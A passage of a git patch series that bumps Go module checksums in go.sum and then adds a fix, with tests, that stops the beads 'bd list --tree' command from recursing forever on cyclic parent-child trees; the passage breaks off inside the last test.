h1:DqEFwLumhzMBDQv9PcWbyoDxHI/4lAk6CM4nJBH39sc= +go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.70.0 h1:LMuyCAyfalSjDyjdC65nK6N0zoTT63+E/u95X0JovZI= +go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.70.0/go.mod h1:085m8qbm4hgc8rZWGDEa4vmyyo2c3nPxUslYUKUIU04= +go.opentelemetry.io/otel v1.46.0 h1:FHt5/CDyVxi/8IM1CH7VE/rRgq3kLHa2mSTVMO8AWyc= +go.opentelemetry.io/otel v1.46.0/go.mod h1:Gj3SEScelsNC45tp4nSxRYlS+f5iez7W8XPMCt905kE= +go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp v1.46.0 h1:AP23h/mFgb/lc7tdck1Kfn9qxsM8TAeNPCU5C3pzaps= +go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp v1.46.0/go.mod h1:K4EqCe1b4kGk5WR690ntg9LaBfsPoV32FwthbyoptuA= +go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.46.0 h1:PR9eAf7o0dQs3hshZNZpE9aW2dXWX/KdDf6pJilVD3U= +go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.46.0/go.mod h1:2Z4KyNdH1uuzivdinyfGsxzNNT/Rl45pwtVwfYVI0xk= +go.opentelemetry.io/otel/exporters/stdout/stdouttrace v1.46.0 h1:KdRxPiAoMptR3vfWzvjjvutTsSiwbC2uG0496rzZNfo= +go.opentelemetry.io/otel/exporters/stdout/stdouttrace v1.46.0/go.mod h1:K/qSA+3G7Eovxi4K09wzrAgkWRnosS0DAOZeEpve7sM= +go.opentelemetry.io/otel/metric v1.46.0 h1:yBnkXvgV7AXFILZc5K6IZe/CBFF3OS7BJ8ov6/lj0K8= +go.opentelemetry.io/otel/metric v1.46.0/go.mod h1:iPmdWqifKUdzziPkvvzIJXITl56fQx2mGM/DHLB3/2o= +go.opentelemetry.io/otel/metric/x v0.68.0 h1:TA/cBT23D3MnxYPwHL7YFOdYGdx0A0v+s7Mzotpd1dU= +go.opentelemetry.io/otel/metric/x v0.68.0/go.mod h1:agudOmvWhwUTjgibWDzxD2PoWYnpw5Ht5jISYOD2Hd4= +go.opentelemetry.io/otel/sdk v1.46.0 h1:h5CNQQjEbuQXY/JfZtgt3i7HVFV3aHPO2OAwO2eTYPI= +go.opentelemetry.io/otel/sdk v1.46.0/go.mod h1:GAERFXFt5SYCEB+YiKUbMBeza6UaDH7GmGOZEfh2gSM= +go.opentelemetry.io/otel/sdk/metric v1.46.0 h1:0piZ26EG4RBfebb2jhDH6ERCYHoVWduc3kLgPCwSnSE= +go.opentelemetry.io/otel/sdk/metric v1.46.0/go.mod h1:I1PbKrdVc8Qu8HYVDNtqVIwLwjNrhsV/uFuxfwg8mO4= +go.opentelemetry.io/otel/trace v1.46.0 h1:OULy7ccdJnZtJ0UDYFOIGaCmiWzJ8Vi2G/Rsu60qs1c= +go.opentelemetry.io/otel/trace v1.46.0/go.mod h1:J7GAXweO77XSFkB/rmAqk9D6ihszhFjLU+d9WuUxDLI= go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI= go.opentelemetry.io/proto/otlp v1.11.0 h1:5rrYs0Ykyj50sdU/JU0x8etU+LubXWb+gED6TbEdMIk= go.opentelemetry.io/proto/otlp v1.11.0/go.mod h1:SmVizdCOAm3XBtG1g1NnOdhW6jtddT72hLMhv8VwA8E= @@ -1165,8 +1161,9 @@ go.uber.org/zap v1.27.0 h1:aJMhYGrd5QSmlpLMr2MftRKl7t8J8PTZPA732ud/XR8= go.uber.org/zap v1.27.0/go.mod h1:GB2qFLM7cTU87MWRP2mPIjqfIDnGu+VIO4V/SdhGo2E= go.yaml.in/yaml/v2 v2.4.2 h1:DzmwEr2rDGHl7lsFgAHxmNz/1NlQ7xLIrlN2h5d1eGI= go.yaml.in/yaml/v2 v2.4.2/go.mod h1:081UH+NErpNdqlCXm3TtEran0rJZGxAYx9hb/ELlsPU= -go.yaml.in/yaml/v3 v3.0.4 h1:tfq32ie2Jv2UxXFdLJdh3jXuOzWiL1fo0bu/FbuKpbc= go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg= +go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw= +go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg= go.yaml.in/yaml/v4 v4.0.0-rc.2 h1:/FrI8D64VSr4HtGIlUtlFMGsm7H7pWTbj6vOLVZcA6s= go.yaml.in/yaml/v4 v4.0.0-rc.2/go.mod h1:aZqd9kCMsGL7AuUv/m/PvWLdg5sjJsZ4oHDEnfPPfY0= gocloud.dev v0.26.0/go.mod h1:mkUgejbnbLotorqDyvedJO20XcZNTynmSeVSQS9btVg= @@ -1340,8 +1337,8 @@ golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.22.0 h1:SZjpbeLmrCk4xhRSZFNZW5gFUeCeFgjekvI/+gfScek= -golang.org/x/sync v0.22.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0= +golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk= +golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -1430,8 +1427,8 @@ golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs= -golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= +golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo= +golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og= golang.org/x/telemetry v0.0.0-20260811182544-a038080d80e5 h1:ZUSxONxc981v7AW7QUg+I9WwZzSTTJ019ENBYr5pV/Q= golang.org/x/telemetry v0.0.0-20260811182544-a038080d80e5/go.mod h1:LVehoXe41cL5SCVQilsV7Gg6BNG+Js6P9PhSbYTIUkQ= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= @@ -1440,8 +1437,8 @@ golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuX golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U= golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= -golang.org/x/term v0.45.0 h1:NwWyBmoJCbfTHpxrWoZ9C6/VxOf7ic219I8xZZFdrf0= -golang.org/x/term v0.45.0/go.mod h1:9aqxs0blBcrm/n0L9QW0aRVD+ktan8ssZromtqJC43w= +golang.org/x/term v0.46.0 h1:3+OXuTbaKDgwk8jTi3aSLHRlmWqHEUDUtxnbFigO4YE= +golang.org/x/term v0.46.0/go.mod h1:+K02xbkittuwc0Am4abfA3Fc+XRGXkvBXNO88NCXPoc= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -1690,10 +1687,10 @@ google.golang.org/genproto v0.0.0-20220324131243-acbaeb5b85eb/go.mod h1:hAL49I2I google.golang.org/genproto v0.0.0-20220401170504-314d38edb7de/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= google.golang.org/genproto v0.0.0-20260128011058-8636f8732409 h1:VQZ/yAbAtjkHgH80teYd2em3xtIkkHd7ZhqfH2N9CsM= google.golang.org/genproto v0.0.0-20260128011058-8636f8732409/go.mod h1:rxKD3IEILWEu3P44seeNOAwZN4SaoKaQ/2eTg4mM6EM= -google.golang.org/genproto/googleapis/api v0.0.0-20260803160001-6ac0973c030d h1:FarXi840EJWSHYTN3ERkADbPWjl307+FGrA22KAVjjc= -google.golang.org/genproto/googleapis/api v0.0.0-20260803160001-6ac0973c030d/go.mod h1:K/+WGbmBY7aNW1HDw1fJnKYo10i0DkAX6pows00dLig= -google.golang.org/genproto/googleapis/rpc v0.0.0-20260803160001-6ac0973c030d h1:IL4hdHzcUv2l/gcg98/Rj3FbtE6axwqslOW8SW0C+S0= -google.golang.org/genproto/googleapis/rpc v0.0.0-20260803160001-6ac0973c030d/go.mod h1:4Hqkh8ycfw05ld/3BWL7rJOSfebL2Q+DVDeRgYgxUU8= +google.golang.org/genproto/googleapis/api v0.0.0-20260819154853-08b0e4226688 h1:ax2KzoSRIZU/M0cIxri3pKxy99vniH1PVxWC6si/eZI= +google.golang.org/genproto/googleapis/api v0.0.0-20260819154853-08b0e4226688/go.mod h1:1RJ9BQGyNdZwkGc1eTqkErfRZ6RJyYPHZo73BZ1vQqI= +google.golang.org/genproto/googleapis/rpc v0.0.0-20260819154853-08b0e4226688 h1:cYNAzI2sUwhmCcoj9TxvihSrqsxt6uIkj3rDRhSDmW4= +google.golang.org/genproto/googleapis/rpc v0.0.0-20260819154853-08b0e4226688/go.mod h1:DjtHYE8FKJLivXcBEjGwndXfIC23G0VpXiXKqG179uA= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= @@ -1723,8 +1720,8 @@ google.golang.org/grpc v1.40.0/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9K google.golang.org/grpc v1.40.1/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= google.golang.org/grpc v1.44.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= google.golang.org/grpc v1.45.0/go.mod h1:lN7owxKUQEqMfSyQikvvk5tf/6zMPsrK+ONuO11+0rQ= -google.golang.org/grpc v1.83.0 h1:JeNZEKJFbQxArAMl+hiytHauacDNqJUllNfmIMmpqnQ= -google.golang.org/grpc v1.83.0/go.mod h1:kDyl6SKsiHKt0uylY5gtn5cEjkrIOhQOGDgIc4JGwzQ= +google.golang.org/grpc v1.83.1 h1:HIO0+BEtBP6soyqvqC8sNUjZ7bTs+0hFQuFF+RAy++Y= +google.golang.org/grpc v1.83.1/go.mod h1:kDyl6SKsiHKt0uylY5gtn5cEjkrIOhQOGDgIc4JGwzQ= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= @@ -1740,8 +1737,8 @@ google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp0 google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= -google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE= -google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco= +google.golang.org/protobuf v1.36.12 h1:pJOKDDOyeXErUroCihFAd5LQuwXBSpVnKGrj5o/fwxc= +google.golang.org/protobuf v1.36.12/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= From 53ce8b545c7fdcb4a4af50b8159c5727381b3b0b Mon Sep 17 00:00:00 2001 From: Melsov Yernur Date: Sun, 27 Sep 2026 13:12:56 +0500 Subject: [PATCH 137/624] fix(list): never recurse forever on a cyclic tree in bd list --tree (#6553) * fix(list): never recurse forever on a cyclic tree in bd list --tree printPrettyTree walked childrenMap with no notion of the path it was on, so a cycle in the map made bd list allocate until the host swapped (GH#5887). Track the ancestors on the current root-to-node path; a child already on the path is printed once with a muted "(cycle: shown above; run bd dep cycles)" marker and not descended. A node under two different parents still renders under both. Output on acyclic input is unchanged. Tests cover the exact rendered shape of a cycle, a diamond that must not be reported as one, and a rooted parent-child cycle through the public buildIssueTreeWithDeps path. They use a bounded, deadline-based stdout capture so a regression fails in seconds and leaves os.Stdout restored. Fixes #5887 * fix(list): state the capture helper's limits; keep the cycle marker next to its use * test(list): give captureBoundedStdout its own doc comment * fix(list): stop the tree cycle marker promising a detector that ignores it The new marker read "(cycle: shown above; run bd dep cycles)" and its doc comment said it "names the command that reports the cycle itself". It does not. childrenMap is built from parent-child edges alone (list_tree.go:54), so every cycle this marker can fire on is a parent-child cycle, and that is exactly the class `bd dep cycles` is pinned to skip: it routes through DetectCycleReportInTx/DetectCyclesInTx into AppendBlockingGraphInTx, whose type filter admits blocks and conditional-blocks only and which DetectCycles uses deliberately (issueops/cycles.go:88-93,111). The repo pins the exclusion with a test that builds the same A <-> B parent-child cycle and asserts the detector returns empty (ready_helpers_test.go:503-520). bd doctor applies the same filter (doctor/integrity.go:352), so no command reports this class. Following the pointer therefore yields an affirmative "No dependency cycles detected" for the very store that just rendered the marker. The marker now names the edge class instead of a command, and the comment records what the marker means -- an ancestor of this line, not dep tree's whole-walk "already displayed" -- so the two renderers' diverging conventions are written down where the new one is defined. Also covers the --deps arm. All three tests on the branch run with dr == nil, so the documented "a marked line carries no annotations" contract held only by construction: moving the onPath check below dr.annotationsFor would have reddened nothing. The new case renders a rooted cycle whose ancestor carries a non-hierarchy edge (parent-child never annotates, so without one the assertion would be vacuous) and asserts one marker, no annotation row beneath it, and exactly one annotation row overall. Mutation-proved: calling dr.annotationsFor inside the marker arm reds only the new test; the other three stay green. No behaviour change beyond the marker string. gofmt, go vet ./cmd/bd and go build ./cmd/... clean; the cycle tests plus base's TestListDisplayPrettyListHonorsSort and the list/tree suite pass. The PR body's quote of the old marker was corrected in place with an attributed maintainer note; the contributor's commit messages are untouched. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 --- cmd/bd/list_tree.go | 38 ++++- cmd/bd/list_tree_cycle_test.go | 281 +++++++++++++++++++++++++++++++++ 2 files changed, 318 insertions(+), 1 deletion(-) create mode 100644 cmd/bd/list_tree_cycle_test.go diff --git a/cmd/bd/list_tree.go b/cmd/bd/list_tree.go index ba23e654d..85f55cf9a 100644 --- a/cmd/bd/list_tree.go +++ b/cmd/bd/list_tree.go @@ -8,6 +8,7 @@ import ( "time" "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/ui" "github.com/steveyegge/beads/internal/utils" "github.com/steveyegge/beads/internal/workapi" ) @@ -142,11 +143,40 @@ func compareIssuesByPriority(a, b *types.Issue) int { return utils.NaturalCompareIDs(a.ID, b.ID) } +// treeCycleMarker is appended to a tree line whose issue is already an +// ancestor on the current path. It mirrors the "(shown above)" arm of +// bd dep tree but means something narrower: an ancestor of this very line, +// not any node the walk happened to print earlier. +// +// It names the edge class rather than a command to run. childrenMap is built +// from parent-child edges alone, so every cycle this marker can fire on is a +// parent-child cycle — and no command reports that class today: bd dep cycles +// and bd doctor both walk the blocking graph (DetectCycles uses +// AppendBlockingGraphInTx deliberately; see issueops/cycles.go), which admits +// blocks and conditional-blocks only. Sent there, the reader gets an +// affirmative "No dependency cycles detected" for the very store that just +// produced this line. Cite a command here only once one can see these edges. +const treeCycleMarker = "(cycle: shown above; parent-child cycle in stored edges)" + // printPrettyTree recursively prints the issue tree. // Children use the requested list order. With --deps, dependency order takes // precedence and the requested order breaks ties. When dr is set, each node's // dependency edges are annotated just beneath it. func printPrettyTree(childrenMap map[string][]*types.Issue, parentID string, prefix string, dr *depRender, compare func(a, b *types.Issue) int) { + printPrettyTreePath(childrenMap, parentID, prefix, dr, compare, map[string]bool{parentID: true}) +} + +// printPrettyTreePath is printPrettyTree carrying the set of ancestors on the +// current root-to-node path. childrenMap comes from stored edges, and a cycle +// in it (parent-child rows imported without validation, or a build that nested +// every dependency on an epic, as v1.2.2 did) must not recurse forever: the +// walk allocates until the host swaps (GH#5887). A child already on the path +// is printed once with a marker and not descended. The set is scoped to the +// path, not the whole walk, so a node reachable through two parents still +// renders under both; only a true ancestor counts as a cycle. Like the +// "(shown above)" arm of bd dep tree, the marked line carries no --deps +// annotations: they were printed with the node's first appearance. +func printPrettyTreePath(childrenMap map[string][]*types.Issue, parentID string, prefix string, dr *depRender, compare func(a, b *types.Issue) int, onPath map[string]bool) { children := childrenMap[parentID] if dr != nil { @@ -161,6 +191,10 @@ func printPrettyTree(childrenMap map[string][]*types.Issue, parentID string, pre if isLast { connector = "└── " } + if onPath[child.ID] { + fmt.Printf("%s%s%s %s\n", prefix, connector, formatPrettyIssue(child), ui.RenderMuted(treeCycleMarker)) + continue + } fmt.Printf("%s%s%s\n", prefix, connector, formatPrettyIssue(child)) extension := "│ " @@ -168,7 +202,9 @@ func printPrettyTree(childrenMap map[string][]*types.Issue, parentID string, pre extension = " " } dr.annotationsFor(child.ID, prefix+extension) - printPrettyTree(childrenMap, child.ID, prefix+extension, dr, compare) + onPath[child.ID] = true + printPrettyTreePath(childrenMap, child.ID, prefix+extension, dr, compare, onPath) + delete(onPath, child.ID) } } diff --git a/cmd/bd/list_tree_cycle_test.go b/cmd/bd/list_tree_cycle_test.go new file mode 100644 index 000000000..6f40f46f1 --- /dev/null +++ b/cmd/bd/list_tree_cycle_test.go @@ -0,0 +1,281 @@ +package main + +import ( + "os" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/types" +) + +// parkedCaptures keeps the pipe ends of every timed-out capture reachable for +// the life of the test binary. The runaway writer is parked on the full pipe; +// if the read end were garbage-collected its finalizer would close it, the +// parked write would fail with EPIPE, and the writer's next Printf would +// resolve os.Stdout afresh and resume against the real stdout or the next +// test's capture. It only grows when a test fails, by two descriptors. +var parkedCaptures []*os.File + +const ( + // captureLimit bounds what a capture keeps; past it the writer blocks on + // the full pipe instead of growing a buffer. + captureLimit = 1 << 20 + // captureDeadline is how long a walk may run before it is declared hung. + captureDeadline = 10 * time.Second +) + +// captureBoundedStdout runs fn with os.Stdout redirected and returns what it +// wrote and whether it returned before the deadline. +// +// It exists for tests whose failure mode is "never returns": the reader stops +// after captureLimit bytes, so a runaway writer blocks on the full pipe instead +// of growing a buffer until the host swaps, and os.Stdout is restored before +// the function returns, so a failing test does not leave the package's stdout +// redirected for every later test. On deadline the writer goroutine is left +// parked on the pipe. +// +// Two consequences of that design, both confined to the regression case: +// fn must write less than captureLimit bytes, since larger legitimate output +// would block on the pipe and read as a hang (the fixtures here print a +// handful of lines); and if fn is still running at the deadline, restoring +// os.Stdout races with its next read of that variable, so go test -race +// reports a data race next to the failure it already produces. +func captureBoundedStdout(t *testing.T, fn func()) (out string, terminated bool) { + t.Helper() + + stdioMutex.Lock() + defer stdioMutex.Unlock() + + r, w, err := os.Pipe() + if err != nil { + t.Fatalf("os.Pipe: %v", err) + } + oldStdout := os.Stdout + os.Stdout = w + + read := make(chan string, 1) + go func() { + buf := make([]byte, captureLimit) + n := 0 + for n < captureLimit { + m, err := r.Read(buf[n:]) + n += m + if err != nil { + break + } + } + read <- string(buf[:n]) + }() + + done := make(chan struct{}) + go func() { + fn() + close(done) + }() + + select { + case <-done: + terminated = true + os.Stdout = oldStdout + _ = w.Close() + out = <-read + _ = r.Close() + case <-time.After(captureDeadline): + os.Stdout = oldStdout + // Leave both pipe ends open, and referenced, on purpose: parked on + // the full pipe the runaway writer costs nothing and cannot escape. + parkedCaptures = append(parkedCaptures, r, w) + select { + case out = <-read: + case <-time.After(time.Second): + } + } + return out, terminated +} + +func cycleTestIssue(id, title, issueType string) *types.Issue { + return &types.Issue{ID: id, Title: title, IssueType: types.IssueType(issueType), Status: types.StatusOpen, Priority: 1} +} + +// The renderer must terminate on a cyclic childrenMap and show the repeated +// ancestor exactly once, marked. Titles are distinct from IDs so an ID count +// counts rendered lines, not title echoes. +func TestPrintPrettyTree_CycleRendersAncestorOnce(t *testing.T) { + a := cycleTestIssue("bd-a", "alpha", "epic") + b := cycleTestIssue("bd-b", "beta", "epic") + c := cycleTestIssue("bd-c", "gamma", "task") + childrenMap := map[string][]*types.Issue{ + "bd-a": {b}, + "bd-b": {a, c}, // b -> a closes the cycle; c is an ordinary leaf + } + + out, terminated := captureBoundedStdout(t, func() { + printPrettyTree(childrenMap, "bd-a", "", nil, compareIssuesByPriority) + }) + if !terminated { + t.Fatalf("printPrettyTree did not return within %v on a cyclic tree; first output:\n%s", captureDeadline, head(out, 20)) + } + + lines := strings.Split(strings.TrimRight(out, "\n"), "\n") + if len(lines) != 3 { + t.Fatalf("expected exactly 3 lines (b, a marked as cycle, c), got %d:\n%s", len(lines), out) + } + if !strings.Contains(lines[0], "bd-b") || strings.Contains(lines[0], treeCycleMarker) { + t.Fatalf("line 1 should be b without a marker:\n%s", out) + } + if !strings.Contains(lines[1], "bd-a") || !strings.Contains(lines[1], treeCycleMarker) { + t.Fatalf("line 2 should be the ancestor a carrying the cycle marker:\n%s", out) + } + if !strings.Contains(lines[2], "bd-c") || strings.Contains(lines[2], treeCycleMarker) { + t.Fatalf("line 3 should be the sibling leaf c without a marker:\n%s", out) + } + if n := strings.Count(out, "bd-a"); n != 1 { + t.Fatalf("ancestor bd-a must render exactly once, got %d:\n%s", n, out) + } +} + +// A node reachable through two parents is a diamond, not a cycle: it must +// render under both and carry no marker. This pins the guard to the ancestor +// path so it cannot drift into a whole-walk visited set. +func TestPrintPrettyTree_DiamondRendersUnderBothParents(t *testing.T) { + a := cycleTestIssue("bd-a", "alpha", "epic") + b := cycleTestIssue("bd-b", "beta", "epic") + c := cycleTestIssue("bd-c", "shared leaf", "task") + childrenMap := map[string][]*types.Issue{ + "bd-a": {b, c}, + "bd-b": {c}, + } + + out, terminated := captureBoundedStdout(t, func() { + printPrettyTree(childrenMap, "bd-a", "", nil, compareIssuesByPriority) + }) + if !terminated { + t.Fatalf("printPrettyTree did not return on an acyclic diamond:\n%s", head(out, 20)) + } + if n := strings.Count(out, "bd-c"); n != 2 { + t.Fatalf("shared child must render under both parents (2), got %d:\n%s", n, out) + } + if strings.Contains(out, treeCycleMarker) { + t.Fatalf("diamond wrongly reported as a cycle:\n%s", out) + } + _ = a +} + +// End to end through the public path: a rooted parent-child cycle in real +// dependency rows (R <- A <- B <- A) reaches the renderer via +// buildIssueTreeWithDeps, so this covers rows that bypassed dep-add +// validation (JSONL import, older builds). Without the guard this hangs. +func TestDisplayPrettyList_RootedParentChildCycleTerminates(t *testing.T) { + r := cycleTestIssue("bd-r", "root", "epic") + a := cycleTestIssue("bd-a", "alpha", "epic") + b := cycleTestIssue("bd-b", "beta", "epic") + issues := []*types.Issue{r, a, b} + allDeps := map[string][]*types.Dependency{ + "bd-a": { + {IssueID: "bd-a", DependsOnID: "bd-r", Type: types.DepParentChild}, + {IssueID: "bd-a", DependsOnID: "bd-b", Type: types.DepParentChild}, + }, + "bd-b": { + {IssueID: "bd-b", DependsOnID: "bd-a", Type: types.DepParentChild}, + }, + } + + roots, childrenMap := buildIssueTreeWithDeps(issues, allDeps) + if len(roots) != 1 || roots[0].ID != "bd-r" { + t.Fatalf("fixture must have the single root bd-r, got %v", roots) + } + if len(childrenMap["bd-a"]) != 1 || len(childrenMap["bd-b"]) != 1 { + t.Fatalf("fixture must carry the a <-> b hierarchy cycle, got %v", childrenMap) + } + + out, terminated := captureBoundedStdout(t, func() { + displayPrettyListWithDeps(issues, false, allDeps, false, false, "") + }) + if !terminated { + t.Fatalf("bd list tree rendering did not return within %v on a parent-child cycle; first output:\n%s", captureDeadline, head(out, 20)) + } + if n := strings.Count(out, treeCycleMarker); n != 1 { + t.Fatalf("expected exactly one cycle marker, got %d:\n%s", n, out) + } + if n := strings.Count(out, "bd-a"); n != 2 { + t.Fatalf("bd-a must render once as a node and once as the marked ancestor (2), got %d:\n%s", n, out) + } + for _, id := range []string{"bd-r", "bd-b"} { + if n := strings.Count(out, id); n != 1 { + t.Fatalf("%s must render exactly once, got %d:\n%s", id, n, out) + } + } +} + +// The --deps arm of the guard: dependency annotations belong to an ancestor's +// first appearance, never to the marked cycle line. Every other case here runs +// with dr == nil, so nothing would redden if a later edit moved the onPath +// check below dr.annotationsFor or outside the set/delete pair around the +// recursion. bd-a carries a non-hierarchy edge on purpose: parent-child edges +// never annotate (depEdgeDisplay), so without one there would be no annotation +// to misplace and the assertion would hold vacuously. +func TestDisplayPrettyListWithDepsMode_CycleMarkerCarriesNoAnnotations(t *testing.T) { + r := cycleTestIssue("bd-r", "root", "epic") + a := cycleTestIssue("bd-a", "alpha", "epic") + b := cycleTestIssue("bd-b", "beta", "epic") + x := cycleTestIssue("bd-x", "blocker", "task") + issues := []*types.Issue{r, a, b, x} + allDeps := map[string][]*types.Dependency{ + "bd-a": { + {IssueID: "bd-a", DependsOnID: "bd-r", Type: types.DepParentChild}, + {IssueID: "bd-a", DependsOnID: "bd-b", Type: types.DepParentChild}, + {IssueID: "bd-a", DependsOnID: "bd-x", Type: types.DepBlocks}, + }, + "bd-b": { + {IssueID: "bd-b", DependsOnID: "bd-a", Type: types.DepParentChild}, + }, + } + + out, terminated := captureBoundedStdout(t, func() { + displayPrettyListWithDepsMode(issues, false, allDeps, "all", false, false, "", "", false) + }) + if !terminated { + t.Fatalf("bd list --tree --deps did not return within %v on a parent-child cycle; first output:\n%s", captureDeadline, head(out, 20)) + } + + lines := strings.Split(strings.TrimRight(out, "\n"), "\n") + marked := -1 + for i, line := range lines { + if !strings.Contains(line, treeCycleMarker) { + continue + } + if marked >= 0 { + t.Fatalf("expected exactly one cycle marker, found a second on line %d:\n%s", i+1, out) + } + marked = i + } + if marked < 0 { + t.Fatalf("expected the cycle marker on bd-a's repeat under bd-b:\n%s", out) + } + if !strings.Contains(lines[marked], "bd-a") { + t.Fatalf("the marker belongs to the ancestor bd-a:\n%s", out) + } + if marked+1 < len(lines) && strings.Contains(lines[marked+1], depGlyph) { + t.Fatalf("the marked line must not be followed by its dependency annotations:\n%s", out) + } + // The trailing legend carries depGlyph too, so count annotation rows by + // their target rather than by the glyph alone. + annotations := 0 + for _, line := range lines { + 